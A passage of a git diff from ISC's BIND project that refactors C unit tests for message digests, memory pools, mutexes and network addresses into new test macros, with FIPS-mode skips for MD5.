 		assert_int_equal(
 			isc_md_update(md, (const unsigned char *)buf, buflen),
 			ISC_R_SUCCESS);
@@ -104,14 +103,15 @@ isc_md_test(isc_md_t *md, const isc_md_type_t *type, const char *buf,
 	isc_buffer_t b;
 	isc_buffer_init(&b, hexdigest, sizeof(hexdigest));
 
-	assert_return_code(isc_hex_totext(&r, 0, "", &b), ISC_R_SUCCESS);
+	res = isc_hex_totext(&r, 0, "", &b);
+
+	assert_return_code(res, ISC_R_SUCCESS);
 
 	assert_memory_equal(hexdigest, result, (result ? strlen(result) : 0));
 	assert_int_equal(isc_md_reset(md), ISC_R_SUCCESS);
 }
 
-static void
-isc_md_init_test(void **state) {
+ISC_RUN_TEST_IMPL(isc_md_init) {
 	isc_md_t *md = *state;
 	assert_non_null(md);
 
@@ -119,8 +119,10 @@ isc_md_init_test(void **state) {
 
 	assert_int_equal(isc_md_init(md, NULL), ISC_R_NOTIMPLEMENTED);
 
-	assert_int_equal(isc_md_init(md, ISC_MD_MD5), ISC_R_SUCCESS);
-	assert_int_equal(isc_md_reset(md), ISC_R_SUCCESS);
+	if (!isc_fips_mode()) {
+		assert_int_equal(isc_md_init(md, ISC_MD_MD5), ISC_R_SUCCESS);
+		assert_int_equal(isc_md_reset(md), ISC_R_SUCCESS);
+	}
 
 	assert_int_equal(isc_md_init(md, ISC_MD_SHA1), ISC_R_SUCCESS);
 	assert_int_equal(isc_md_reset(md), ISC_R_SUCCESS);
@@ -138,8 +140,7 @@ isc_md_init_test(void **state) {
 	assert_int_equal(isc_md_reset(md), ISC_R_SUCCESS);
 }
 
-static void
-isc_md_update_test(void **state) {
+ISC_RUN_TEST_IMPL(isc_md_update) {
 	isc_md_t *md = *state;
 	assert_non_null(md);
 
@@ -151,12 +152,11 @@ isc_md_update_test(void **state) {
 			 ISC_R_SUCCESS);
 }
 
-static void
-isc_md_reset_test(void **state) {
+ISC_RUN_TEST_IMPL(isc_md_reset) {
 	isc_md_t *md = *state;
 #if 0
-	unsigned char digest[ISC_MAX_MD_SIZE] __attribute((unused));
-	unsigned int digestlen __attribute((unused));
+	unsigned char digest[ISC_MAX_MD_SIZE] ISC_ATTR_UNUSED;
+	unsigned int digestlen ISC_ATTR_UNUSED;
 #endif /* if 0 */
 
 	assert_non_null(md);
@@ -179,8 +179,7 @@ isc_md_reset_test(void **state) {
 #endif /* if 0 */
 }
 
-static void
-isc_md_final_test(void **state) {
+ISC_RUN_TEST_IMPL(isc_md_final) {
 	isc_md_t *md = *state;
 	assert_non_null(md);
 
@@ -196,9 +195,14 @@ isc_md_final_test(void **state) {
 	assert_int_equal(isc_md_final(md, digest, NULL), ISC_R_SUCCESS);
 }
 
-static void
-isc_md_md5_test(void **state) {
+ISC_RUN_TEST_IMPL(isc_md_md5) {
 	isc_md_t *md = *state;
+
+	if (isc_fips_mode()) {
+		skip();
+		return;
+	}
+
 	isc_md_test(md, ISC_MD_MD5, NULL, 0, NULL, 0);
 	isc_md_test(md, ISC_MD_MD5, TEST_INPUT(""),
 		    "D41D8CD98F00B204E9800998ECF8427E", 1);
@@ -220,8 +224,7 @@ isc_md_md5_test(void **state) {
 		    "57EDF4A22BE3C955AC49DA2E2107B67A", 1);
 }
 
-static void
-isc_md_sha1_test(void **state) {
+ISC_RUN_TEST_IMPL(isc_md_sha1) {
 	isc_md_t *md = *state;
 	isc_md_test(md, ISC_MD_SHA1, NULL, 0, NULL, 0);
 	isc_md_test(md, ISC_MD_SHA1, TEST_INPUT(""),
@@ -264,8 +267,7 @@ isc_md_sha1_test(void **state) {
 		    "CB0082C8F197D260991BA6A460E76E202BAD27B3", 1);
 }
 
-static void
-isc_md_sha224_test(void **state) {
+ISC_RUN_TEST_IMPL(isc_md_sha224) {
 	isc_md_t *md = *state;
 
 	isc_md_test(md, ISC_MD_SHA224, NULL, 0, NULL, 0);
@@ -324,8 +326,7 @@ isc_md_sha224_test(void **state) {
 		    1);
 }
 
-static void
-isc_md_sha256_test(void **state) {
+ISC_RUN_TEST_IMPL(isc_md_sha256) {
 	isc_md_t *md = *state;
 
 	isc_md_test(md, ISC_MD_SHA256, NULL, 0, NULL, 0);
@@ -386,8 +387,7 @@ isc_md_sha256_test(void **state) {
 		    1);
 }
 
-static void
-isc_md_sha384_test(void **state) {
+ISC_RUN_TEST_IMPL(isc_md_sha384) {
 	isc_md_t *md = *state;
 
 	isc_md_test(md, ISC_MD_SHA384, NULL, 0, NULL, 0);
@@ -463,8 +463,7 @@ isc_md_sha384_test(void **state) {
 		    1);
 }
 
-static void
-isc_md_sha512_test(void **state) {
+ISC_RUN_TEST_IMPL(isc_md_sha512) {
 	isc_md_t *md = *state;
 
 	isc_md_test(md, ISC_MD_SHA512, NULL, 0, NULL, 0);
@@ -539,47 +538,27 @@ isc_md_sha512_test(void **state) {
 		    1);
 }
 
-int
-main(void) {
-	const struct CMUnitTest tests[] = {
-		/* isc_md_new() */
-		cmocka_unit_test(isc_md_new_test),
-
-		/* isc_md_init() */
-		cmocka_unit_test_setup_teardown(isc_md_init_test, _reset,
-						_reset),
-
-		/* isc_md_reset() */
-		cmocka_unit_test_setup_teardown(isc_md_reset_test, _reset,
-						_reset),
-
-		/* isc_md_init() -> isc_md_update() -> isc_md_final() */
-		cmocka_unit_test(isc_md_md5_test),
-		cmocka_unit_test(isc_md_sha1_test),
-		cmocka_unit_test(isc_md_sha224_test),
-		cmocka_unit_test(isc_md_sha256_test),
-		cmocka_unit_test(isc_md_sha384_test),
-		cmocka_unit_test(isc_md_sha512_test),
-
-		cmocka_unit_test_setup_teardown(isc_md_update_test, _reset,
-						_reset),
-		cmocka_unit_test_setup_teardown(isc_md_final_test, _reset,
-						_reset),
-
-		cmocka_unit_test(isc_md_free_test),
-	};
-
-	return (cmocka_run_group_tests(tests, _setup, _teardown));
-}
+ISC_TEST_LIST_START
 
-#else /* HAVE_CMOCKA */
+ISC_TEST_ENTRY(isc_md_new)
 
-#include <stdio.h>
+ISC_TEST_ENTRY_CUSTOM(isc_md_init, _reset, _reset)
 
-int
-main(void) {
-	printf("1..0 # Skipped: cmocka not available\n");
-	return (SKIPPED_TEST_EXIT_CODE);
-}
+ISC_TEST_ENTRY_CUSTOM(isc_md_reset, _reset, _reset)
+
+ISC_TEST_ENTRY(isc_md_md5)
+ISC_TEST_ENTRY(isc_md_sha1)
+
+ISC_TEST_ENTRY(isc_md_sha224)
+ISC_TEST_ENTRY(isc_md_sha256)
+ISC_TEST_ENTRY(isc_md_sha384)
+ISC_TEST_ENTRY(isc_md_sha512)
+
+ISC_TEST_ENTRY_CUSTOM(isc_md_update, _reset, _reset)
+ISC_TEST_ENTRY_CUSTOM(isc_md_final, _reset, _reset)
+
+ISC_TEST_ENTRY(isc_md_free)
+
+ISC_TEST_LIST_END
 
-#endif /* if HAVE_CMOCKA */
+ISC_TEST_MAIN_CUSTOM(_setup, _teardown)
diff --git a/tests/isc/mem_test.c b/tests/isc/mem_test.c
new file mode 100644
index 0000000000..4a05efb1d9
--- /dev/null
+++ b/tests/isc/mem_test.c
@@ -0,0 +1,506 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <fcntl.h>
+#include <inttypes.h>
+#include <sched.h> /* IWYU pragma: keep */
+#include <setjmp.h>
+#include <stdarg.h>
+#include <stddef.h>
+#include <stdlib.h>
+#include <unistd.h>
+
+#define UNIT_TESTING
+#include <cmocka.h>
+
+#include <isc/atomic.h>
+#include <isc/file.h>
+#include <isc/mem.h>
+#include <isc/mutex.h>
+#include <isc/os.h>
+#include <isc/random.h>
+#include <isc/result.h>
+#include <isc/stdio.h>
+#include <isc/thread.h>
+#include <isc/time.h>
+#include <isc/util.h>
+
+#include "mem_p.h"
+
+#include <tests/isc.h>
+
+#define MP1_FREEMAX  10
+#define MP1_FILLCNT  10
+#define MP1_MAXALLOC 30
+
+#define MP2_FREEMAX 25
+#define MP2_FILLCNT 25
+
+/* general memory system tests */
+ISC_RUN_TEST_IMPL(isc_mem_get) {
+	void *items1[50];
+	void *items2[50];
+	void *tmp;
+	isc_mempool_t *mp1 = NULL, *mp2 = NULL;
+	unsigned int i, j;
+	int rval;
+
+	isc_mempool_create(mctx, 24, &mp1);
+	isc_mempool_create(mctx, 31, &mp2);
+
+	isc_mempool_setfreemax(mp1, MP1_FREEMAX);
+	isc_mempool_setfillcount(mp1, MP1_FILLCNT);
+
+	/*
+	 * Allocate MP1_MAXALLOC items from the pool.  This is our max.
+	 */
+	for (i = 0; i < MP1_MAXALLOC; i++) {
+		items1[i] = isc_mempool_get(mp1);
+		assert_non_null(items1[i]);
+	}
+
+	/*
+	 * Free the first 11 items.  Verify that there are 10 free items on
+	 * the free list (which is our max).
+	 */
+	for (i = 0; i < 11; i++) {
+		isc_mempool_put(mp1, items1[i]);
+		items1[i] = NULL;
+	}
+
+#if !__SANITIZE_ADDRESS__
+	rval = isc_mempool_getfreecount(mp1);
+	assert_int_equal(rval, 10);
+#endif /* !__SANITIZE_ADDRESS__ */
+
+	rval = isc_mempool_getallocated(mp1);
+	assert_int_equal(rval, 19);
+
+	/*
+	 * Now, beat up on mp2 for a while.  Allocate 50 items, then free
+	 * them, then allocate 50 more, etc.
+	 */
+
+	isc_mempool_setfreemax(mp2, 25);
+	isc_mempool_setfillcount(mp2, 25);
+
+	for (j = 0; j < 500000; j++) {
+		for (i = 0; i < 50; i++) {
+			items2[i] = isc_mempool_get(mp2);
+			assert_non_null(items2[i]);
+		}
+		for (i = 0; i < 50; i++) {
+			isc_mempool_put(mp2, items2[i]);
+			items2[i] = NULL;
+		}
+	}
+
+	/*
+	 * Free all the other items and blow away this pool.
+	 */
+	for (i = 11; i < MP1_MAXALLOC; i++) {
+		isc_mempool_put(mp1, items1[i]);
+		items1[i] = NULL;
+	}
+
+	isc_mempool_destroy(&mp1);
+	isc_mempool_destroy(&mp2);
+
+	isc_mempool_create(mctx, 2, &mp1);
+
+	tmp = isc_mempool_get(mp1);
+	assert_non_null(tmp);
+
+	isc_mempool_put(mp1, tmp);
+
+	isc_mempool_destroy(&mp1);
+}
+
+/* zeroed memory system tests */
+ISC_RUN_TEST_IMPL(isc_mem_cget_zero) {
+	uint8_t *ptr;
+	bool zeroed;
+	uint8_t expected[4096] = { 0 };
+
+	/* Skip the test if the memory is zeroed even in normal case */
+	zeroed = true;
+	ptr = isc_mem_get(mctx, sizeof(expected));
+	for (size_t i = 0; i < sizeof(expected); i++) {
+		if (ptr[i] != expected[i]) {
+			zeroed = false;
+			break;
+		}
+	}
+	isc_mem_put(mctx, ptr, sizeof(expected));
+	if (zeroed) {
+		skip();
+		return;
+	}
+
+	ptr = isc_mem_cget(mctx, 1, sizeof(expected));
+	assert_memory_equal(ptr, expected, sizeof(expected));
+	isc_mem_put(mctx, ptr, sizeof(expected));
+}
+
+ISC_RUN_TEST_IMPL(isc_mem_callocate_zero) {
+	uint8_t *ptr;
+	bool zeroed;
+	uint8_t expected[4096] = { 0 };
+
+	/* Skip the test if the memory is zeroed even in normal case */
+	zeroed = true;
+	ptr = isc_mem_get(mctx, sizeof(expected));
+	for (size_t i = 0; i < sizeof(expected); i++) {
+		if (ptr[i] != expected[i]) {
+			zeroed = false;
+			break;
+		}
+	}
+	isc_mem_put(mctx, ptr, sizeof(expected));
+	if (zeroed) {
+		skip();
+		return;
+	}
+
+	ptr = isc_mem_callocate(mctx, 1, sizeof(expected));
+	assert_memory_equal(ptr, expected, sizeof(expected));
+	isc_mem_free(mctx, ptr);
+}
+
+/* test InUse calculation */
+ISC_RUN_TEST_IMPL(isc_mem_inuse) {
+	isc_mem_t *mctx2 = NULL;
+	size_t before, after;
+	ssize_t diff;
+	void *ptr;
+
+	mctx2 = NULL;
+	isc_mem_create(&mctx2);
+
+	before = isc_mem_inuse(mctx2);
+	ptr = isc_mem_allocate(mctx2, 1024000);
+	isc_mem_free(mctx2, ptr);
+	after = isc_mem_inuse(mctx2);
+
+	diff = after - before;
+
+	assert_int_equal(diff, 0);
+
+	isc_mem_destroy(&mctx2);
+}
+
+ISC_RUN_TEST_IMPL(isc_mem_zeroget) {
+	uint8_t *data = NULL;
+
+	data = isc_mem_get(mctx, 0);
+	assert_non_null(data);
+	isc_mem_put(mctx, data, 0);
+}
+
+#define REGET_INIT_SIZE	  1024
+#define REGET_GROW_SIZE	  2048
+#define REGET_SHRINK_SIZE 512
+
+ISC_RUN_TEST_IMPL(isc_mem_reget) {
+	uint8_t *data = NULL;
+
+	/* test that we can reget NULL */
+	data = isc_mem_reget(mctx, NULL, 0, REGET_INIT_SIZE);
+	assert_non_null(data);
+	isc_mem_put(mctx, data, REGET_INIT_SIZE);
+
+	/* test that we can re-get a zero-length allocation */
+	data = isc_mem_get(mctx, 0);
+	assert_non_null(data);
+
+	data = isc_mem_reget(mctx, data, 0, REGET_INIT_SIZE);
+	assert_non_null(data);
+
+	for (size_t i = 0; i < REGET_INIT_SIZE; i++) {
+		data[i] = i % UINT8_MAX;
+	}
+
+	data = isc_mem_reget(mctx, data, REGET_INIT_SIZE, REGET_GROW_SIZE);
+	assert_non_null(data);
+
+	for (size_t i = 0; i < REGET_INIT_SIZE; i++) {
+		assert_int_equal(data[i], i % UINT8_MAX);
+	}
+
+	for (size_t i = REGET_GROW_SIZE; i > 0; i--) {
+		data[i - 1] = i % UINT8_MAX;
+	}
+
+	data = isc_mem_reget(mctx, data, REGET_GROW_SIZE, REGET_SHRINK_SIZE);
+	assert_non_null(data);
+
+	for (size_t i = REGET_SHRINK_SIZE; i > 0; i--) {
+		assert_int_equal(data[i - 1], i % UINT8_MAX);
+	}
+
+	isc_mem_put(mctx, data, REGET_SHRINK_SIZE);
+}
+
+ISC_RUN_TEST_IMPL(isc_mem_reallocate) {
+	uint8_t *data = NULL;
+
+	/* test that we can reallocate NULL */
+	data = isc_mem_reallocate(mctx, NULL, REGET_INIT_SIZE);
+	assert_non_null(data);
+	isc_mem_free(mctx, data);
+
+	/* test that we can re-get a zero-length allocation */
+	data = isc_mem_allocate(mctx, 0);
+	assert_non_null(data);
+
+	data = isc_mem_reallocate(mctx, data, REGET_INIT_SIZE);
+	assert_non_null(data);
+
+	for (size_t i = 0; i < REGET_INIT_SIZE; i++) {
+		data[i] = i % UINT8_MAX;
+	}
+
+	data = isc_mem_reallocate(mctx, data, REGET_GROW_SIZE);
+	assert_non_null(data);
+
+	for (size_t i = 0; i < REGET_INIT_SIZE; i++) {
+		assert_int_equal(data[i], i % UINT8_MAX);
+	}
+
+	for (size_t i = REGET_GROW_SIZE; i > 0; i--) {
+		data[i - 1] = i % UINT8_MAX;
+	}
+
+	data = isc_mem_reallocate(mctx, data, REGET_SHRINK_SIZE);
+	assert_non_null(data);
+
+	for (size_t i = REGET_SHRINK_SIZE; i > 0; i--) {
+		assert_int_equal(data[i - 1], i % UINT8_MAX);
+	}
+
+	isc_mem_free(mctx, data);
+}
+
+#if ISC_MEM_TRACKLINES
+
+/* test mem with no flags */
+ISC_RUN_TEST_IMPL(isc_mem_noflags) {
+	isc_result_t result;
+	isc_mem_t *mctx2 = NULL;
+	char buf[4096], *p;
+	FILE *f;
+	void *ptr;
+
+	result = isc_stdio_open("mem.output", "w", &f);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	isc_mem_debugging = 0;
+	isc_mem_create(&mctx2);
+	ptr = isc_mem_get(mctx2, 2048);
+	assert_non_null(ptr);
+	isc__mem_printactive(mctx2, f);
+	isc_mem_put(mctx2, ptr, 2048);
+	isc_mem_destroy(&mctx2);
+	isc_mem_debugging = ISC_MEM_DEBUGRECORD;
+	isc_stdio_close(f);
+
+	memset(buf, 0, sizeof(buf));
+	result = isc_stdio_open("mem.output", "r", &f);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	result = isc_stdio_read(buf, sizeof(buf), 1, f, NULL);
+	assert_int_equal(result, ISC_R_EOF);
+	isc_stdio_close(f);
+	isc_file_remove("mem.output");
+
+	buf[sizeof(buf) - 1] = 0;
+
+	p = strchr(buf, '\n');
+	assert_null(p);
+}
+
+/* test mem with record flag */
+ISC_RUN_TEST_IMPL(isc_mem_recordflag) {
+	isc_result_t result;
+	isc_mem_t *mctx2 = NULL;
+	char buf[4096], *p;
+	FILE *f;
+	void *ptr;
+
+	result = isc_stdio_open("mem.output", "w", &f);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	isc_mem_create(&mctx2);
+	ptr = isc_mem_get(mctx2, 2048);
+	assert_non_null(ptr);
+	isc__mem_printactive(mctx2, f);
+	isc_mem_put(mctx2, ptr, 2048);
+	isc_mem_destroy(&mctx2);
+	isc_stdio_close(f);
+
+	memset(buf, 0, sizeof(buf));
+	result = isc_stdio_open("mem.output", "r", &f);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	result = isc_stdio_read(buf, sizeof(buf), 1, f, NULL);
+	assert_int_equal(result, ISC_R_EOF);
+	isc_stdio_close(f);
+	isc_file_remove("mem.output");
+
+	buf[sizeof(buf) - 1] = 0;
+
+	p = strchr(buf, '\n');
+	assert_non_null(p);
+	assert_in_range(p, 0, buf + sizeof(buf) - 3);
+	assert_memory_equal(p + 2, "ptr ", 4);
+	p = strchr(p + 1, '\n');
+	assert_non_null(p);
+	assert_int_equal(strlen(p), 1);
+}
+
+/* test mem with trace flag */
+ISC_RUN_TEST_IMPL(isc_mem_traceflag) {
+	isc_result_t result;
+	isc_mem_t *mctx2 = NULL;
+	char buf[4096], *p;
+	FILE *f;
+	void *ptr;
+
+	/* redirect stderr so we can check trace output */
+	f = freopen("mem.output", "w", stderr);
+	assert_non_null(f);
+
+	isc_mem_debugging = ISC_MEM_DEBUGRECORD | ISC_MEM_DEBUGTRACE;
+	isc_mem_create(&mctx2);
+	ptr = isc_mem_get(mctx2, 2048);
+	assert_non_null(ptr);
+	isc__mem_printactive(mctx2, f);
+	isc_mem_put(mctx2, ptr, 2048);
+	isc_mem_destroy(&mctx2);
+	isc_mem_debugging = ISC_MEM_DEBUGRECORD;
+	isc_stdio_close(f);
+
+	memset(buf, 0, sizeof(buf));
+	result = isc_stdio_open("mem.output", "r", &f);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	result = isc_stdio_read(buf, sizeof(buf), 1, f, NULL);
+	assert_int_equal(result, ISC_R_EOF);
+	isc_stdio_close(f);
+	isc_file_remove("mem.output");
+
+	/* return stderr to TTY so we can see errors */
+	f = freopen("/dev/tty", "w", stderr);
+
+	buf[sizeof(buf) - 1] = 0;
+
+	assert_memory_equal(buf, "create ", 6);
+	p = strchr(buf, '\n');
+	assert_non_null(p);
+
+	assert_memory_equal(p + 1, "add ", 4);
+	p = strchr(p + 1, '\n');
+	assert_non_null(p);
+	p = strchr(p + 1, '\n');
+	assert_non_null(p);
+	assert_in_range(p, 0, buf + sizeof(buf) - 3);
+	assert_memory_equal(p + 2, "ptr ", 4);
+	p = strchr(p + 1, '\n');
+	assert_non_null(p);
+	assert_memory_equal(p + 1, "del ", 4);
+}
+#endif /* if ISC_MEM_TRACKLINES */
+
+#if !defined(__SANITIZE_THREAD__)
+
+#define ITERS	  512
+#define NUM_ITEMS 1024 /* 768 */
+#define ITEM_SIZE 65534
+
+static atomic_size_t mem_size;
+
+static void *
+mem_thread(void *arg) {
+	isc_mem_t *mctx2 = (isc_mem_t *)arg;
+	void *items[NUM_ITEMS];
+	size_t size = atomic_load(&mem_size);
+	while (!atomic_compare_exchange_weak(&mem_size, &size, size / 2)) {
+		;
+	}
+
+	for (int i = 0; i < ITERS; i++) {
+		for (int j = 0; j < NUM_ITEMS; j++) {
+			items[j] = isc_mem_get(mctx2, size);
+		}
+		for (int j = 0; j < NUM_ITEMS; j++) {
+			isc_mem_put(mctx2, items[j], size);
+		}
+	}
+
+	return (NULL);
+}
+
+ISC_RUN_TEST_IMPL(isc_mem_benchmark) {
+	int nthreads = ISC_MAX(ISC_MIN(isc_os_ncpus(), 32), 1);
+	isc_thread_t threads[32];
+	isc_time_t ts1, ts2;
+	double t;
+
+	atomic_init(&mem_size, ITEM_SIZE);
+
+	ts1 = isc_time_now();
+
+	for (int i = 0; i < nthreads; i++) {
+		isc_thread_create(mem_thread, mctx, &threads[i]);
+	}
+	for (int i = 0; i < nthreads; i++) {
+		isc_thread_join(threads[i], NULL);
+	}
+
+	ts2 = isc_time_now();
+
+	t = isc_time_microdiff(&ts2, &ts1);
+
+	printf("[ TIME     ] isc_mem_benchmark: "
+	       "%d isc_mem_{get,put} calls, %f seconds, %f "
+	       "calls/second\n",
+	       nthreads * ITERS * NUM_ITEMS, t / 1000000.0,
+	       (nthreads * ITERS * NUM_ITEMS) / (t / 1000000.0));
+}
+
+#endif /* __SANITIZE_THREAD */
+
+ISC_TEST_LIST_START
+
+ISC_TEST_ENTRY(isc_mem_get)
+ISC_TEST_ENTRY(isc_mem_cget_zero)
+ISC_TEST_ENTRY(isc_mem_callocate_zero)
+ISC_TEST_ENTRY(isc_mem_inuse)
+ISC_TEST_ENTRY(isc_mem_zeroget)
+ISC_TEST_ENTRY(isc_mem_reget)
+ISC_TEST_ENTRY(isc_mem_reallocate)
+
+#if ISC_MEM_TRACKLINES
+ISC_TEST_ENTRY(isc_mem_noflags)
+ISC_TEST_ENTRY(isc_mem_recordflag)
+/*
+ * traceflag_test closes stderr, which causes weird
+ * side effects for any next test trying to use libuv.
+ * This test has to be the last one to avoid problems.
+ */
+ISC_TEST_ENTRY(isc_mem_traceflag)
+#endif /* if ISC_MEM_TRACKLINES */
+#if !defined(__SANITIZE_THREAD__)
+ISC_TEST_ENTRY(isc_mem_benchmark)
+#endif /* __SANITIZE_THREAD__ */
+
+ISC_TEST_LIST_END
+
+ISC_TEST_MAIN
diff --git a/tests/isc/mutex_test.c b/tests/isc/mutex_test.c
new file mode 100644
index 0000000000..35e2d598d6
--- /dev/null
+++ b/tests/isc/mutex_test.c
@@ -0,0 +1,216 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <fcntl.h>
+#include <inttypes.h>
+#include <sched.h> /* IWYU pragma: keep */
+#include <setjmp.h>
+#include <stdarg.h>
+#include <stddef.h>
+#include <stdlib.h>
+#include <unistd.h>
+
+#define UNIT_TESTING
+#include <cmocka.h>
+
+#include <isc/atomic.h>
+#include <isc/file.h>
+#include <isc/mem.h>
+#include <isc/mutex.h>
+#include <isc/os.h>
+#include <isc/pause.h>
+#include <isc/result.h>
+#include <isc/stdio.h>
+#include <isc/thread.h>
+#include <isc/time.h>
+#include <isc/util.h>
+
+#include <tests/isc.h>
+
+static unsigned int loops = 100;
+static unsigned int delay_loop = 1;
+
+static int
+setup_env(void **unused __attribute__((__unused__))) {
+	char *env = getenv("ISC_BENCHMARK_LOOPS");
+	if (env != NULL) {
+		loops = atoi(env);
+	}
+	assert_int_not_equal(loops, 0);
+
+	env = getenv("ISC_BENCHMARK_DELAY");
+	if (env != NULL) {
+		delay_loop = atoi(env);
+	}
+	assert_int_not_equal(delay_loop, 0);
+
+	return (0);
+}
+
+ISC_RUN_TEST_IMPL(isc_mutex) {
+	isc_mutex_t lock;
+
+	isc_mutex_init(&lock);
+
+	for (size_t i = 0; i < loops; i++) {
+		isc_mutex_lock(&lock);
+		isc_pause_n(delay_loop);
+		isc_mutex_unlock(&lock);
+	}
+
+	isc_mutex_destroy(&lock);
+}
+
+#define ITERS 20
+
+#define DC	200
+#define CNT_MIN 800
+#define CNT_MAX 1600
+
+static size_t shared_counter = 0;
+static size_t expected_counter = SIZE_MAX;
+static isc_mutex_t lock;
+static pthread_mutex_t mutex;
+
+static void *
+pthread_mutex_thread(void *arg) {
+	size_t cont = *(size_t *)arg;
+
+	for (size_t i = 0; i < loops; i++) {
+		pthread_mutex_lock(&mutex);
+		size_t v = shared_counter;
+		isc_pause_n(delay_loop);
+		shared_counter = v + 1;
+		pthread_mutex_unlock(&mutex);
+		isc_pause_n(cont);
+	}
+
+	return (NULL);
+}
+
+static void *
+isc_mutex_thread(void *arg) {
+	size_t cont = *(size_t *)arg;
+
+	for (size_t i = 0; i < loops; i++) {
+		isc_mutex_lock(&lock);
+		size_t v = shared_counter;
+		isc_pause_n(delay_loop);
+		shared_counter = v + 1;
+		isc_mutex_unlock(&lock);
+		isc_pause_n(cont);
+	}
+
+	return (NULL);
+}
+
+ISC_RUN_TEST_IMPL(isc_mutex_benchmark) {
+	isc_thread_t *threads = isc_mem_cget(mctx, workers, sizeof(*threads));
+	isc_time_t ts1, ts2;
+	double t;
+	int dc;
+	size_t cont;
+	int r;
+
+	memset(threads, 0, sizeof(*threads) * workers);
+
+	expected_counter = ITERS * workers * loops *
+			   ((CNT_MAX - CNT_MIN) / DC + 1);
+
+	/* PTHREAD MUTEX */
+
+	r = pthread_mutex_init(&mutex, NULL);
+	assert_int_not_equal(r, -1);
+
+	ts1 = isc_time_now_hires();
+
+	shared_counter = 0;
+	dc = DC;
+	for (size_t l = 0; l < ITERS; l++) {
+		for (cont = (dc > 0) ? CNT_MIN : CNT_MAX;
+		     cont <= CNT_MAX && cont >= CNT_MIN; cont += dc)
+		{
+			for (size_t i = 0; i < workers; i++) {
+				isc_thread_create(pthread_mutex_thread, &cont,
+						  &threads[i]);
+			}
+			for (size_t i = 0; i < workers; i++) {
+				isc_thread_join(threads[i], NULL);
+			}
+		}
+		dc = -dc;
+	}
+	assert_int_equal(shared_counter, expected_counter);
+
+	ts2 = isc_time_now_hires();
+
+	t = isc_time_microdiff(&ts2, &ts1);
+
+	printf("[ TIME     ] isc_mutex_benchmark: %zu pthread_mutex "
+	       "loops in "
+	       "%u threads, %2.3f seconds, %2.3f calls/second\n",
+	       shared_counter, workers, t / 1000000.0,
+	       shared_counter / (t / 1000000.0));
+
+	r = pthread_mutex_destroy(&mutex);
+	assert_int_not_equal(r, -1);
+
+	/* ISC MUTEX */
+
+	isc_mutex_init(&lock);
+
+	ts1 = isc_time_now_hires();
+
+	dc = DC;
+	shared_counter = 0;
+	for (size_t l = 0; l < ITERS; l++) {
+		for (cont = (dc > 0) ? CNT_MIN : CNT_MAX;
+		     cont <= CNT_MAX && cont >= CNT_MIN; cont += dc)
+		{
+			for (size_t i = 0; i < workers; i++) {
+				isc_thread_create(isc_mutex_thread, &cont,
+						  &threads[i]);
+			}
+			for (size_t i = 0; i < workers; i++) {
+				isc_thread_join(threads[i], NULL);
+			}
+		}
+		dc = -dc;
+	}
+	assert_int_equal(shared_counter, expected_counter);
+
+	ts2 = isc_time_now_hires();
+
+	t = isc_time_microdiff(&ts2, &ts1);
+
+	printf("[ TIME     ] isc_mutex_benchmark: %zu isc_mutex loops "
+	       "in %u "
+	       "threads, %2.3f seconds, %2.3f calls/second\n",
+	       shared_counter, workers, t / 1000000.0,
+	       shared_counter / (t / 1000000.0));
+
+	isc_mutex_destroy(&lock);
+
+	isc_mem_cput(mctx, threads, workers, sizeof(*threads));
+}
+
+ISC_TEST_LIST_START
+
+ISC_TEST_ENTRY(isc_mutex)
+#if !defined(__SANITIZE_THREAD__)
+ISC_TEST_ENTRY(isc_mutex_benchmark)
+#endif /* __SANITIZE_THREAD__ */
+
+ISC_TEST_LIST_END
+
+ISC_TEST_MAIN_CUSTOM(setup_env, NULL)
diff --git a/lib/isc/tests/netaddr_test.c b/tests/isc/netaddr_test.c
similarity index 85%
rename from lib/isc/tests/netaddr_test.c
rename to tests/isc/netaddr_test.c
index 9ec2cb894d..2394e11166 100644
--- a/lib/isc/tests/netaddr_test.c
+++ b/tests/isc/netaddr_test.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,8 @@
  * information regarding copyright ownership.
  */
 
-#if HAVE_CMOCKA
-
+#include <inttypes.h>
+#include <sched.h> /* IWYU pragma: keep */
 #include <setjmp.h>
 #include <stdarg.h>
 #include <stdbool.h>
@@ -26,9 +28,10 @@
 #include <isc/sockaddr.h>
 #include <isc/util.h>
 
+#include <tests/isc.h>
+
 /* test isc_netaddr_isnetzero() */
-static void
-netaddr_isnetzero(void **state) {
+ISC_RUN_TEST_IMPL(netaddr_isnetzero) {
 	unsigned int i;
 	struct in_addr ina;
 	struct {
@@ -39,12 +42,12 @@ netaddr_isnetzero(void **state) {
 		      { "10.0.0.0", false },  { "10.9.0.0", false },
 		      { "10.9.8.0", false },  { "10.9.8.7", false },
 		      { "127.0.0.0", false }, { "127.0.0.1", false } };
-	bool result;
 	isc_netaddr_t netaddr;
 
 	UNUSED(state);
 
 	for (i = 0; i < sizeof(tests) / sizeof(tests[0]); i++) {
+		bool result;
 		ina.s_addr = inet_addr(tests[i].address);
 		isc_netaddr_fromin(&netaddr, &ina);
 		result = isc_netaddr_isnetzero(&netaddr);
@@ -53,8 +56,7 @@ netaddr_isnetzero(void **state) {
 }
 
 /* test isc_netaddr_masktoprefixlen() calculates correct prefix lengths */
-static void
-netaddr_masktoprefixlen(void **state) {
